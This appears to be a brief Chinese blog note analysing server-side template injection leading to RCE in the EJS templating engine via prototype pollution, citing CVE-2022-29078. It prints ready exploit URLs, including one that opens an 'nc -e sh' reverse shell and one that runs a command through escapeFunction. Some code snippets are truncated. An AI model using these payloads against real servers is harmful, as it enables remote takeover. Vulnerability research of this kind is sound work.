ejs模板rce的初探
渲染处rce
res.render('index');
中的一系列通过变量(其他漏洞达成)带来的模板注入。
opts.outputFunctionName
ejs版本<3.17
如果可以通过原型链污染控制这个属性的值,就可以在渲染的模板中拼接任意命令。
在模板渲染过程中,这个属性一般是undefined。
注入payload如:
1 | prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; |
同理下面几个变量也都可以尝试,opts.localsName
和 opts.destructuredLocals
和 opts.filename
修复:添加了一个正则,对上面几个涉及的变量进行过滤
https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
opts.escapeFunction
1 | var escapeFn = opts.escapeFunction; |
同样是被拼接进了要渲染的源码中,造成了rce的情况,为了达成条件判断也需要控制其他的变量来达到rce
1 | { |
1 | { |
CVE-2022-29078
https://eslam.io/posts/ejs-server-side-template-injection-rce/
原型链污染+模板注入,用的是outputFunction,但其实原型链污染的操作比较重要,如下构造payload我们就能在使用ejs3.17一下的版本中通过原型链污染达到rce
1 | http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s |
同样可以通过另一个escapeFunction来进行rce,此方法在3.17可行!
1 | http://localhost:3000/page?id=2&settings[view%20options][client]=ture&settings[view%20options][escapeFunction]=1;%20return%20global.process.mainModule.constructor._load(%27child_process%27).execSync(%27calc%27);&settings[view%20options][compileDebug]=ture&settings[view%20options][debug]=ture |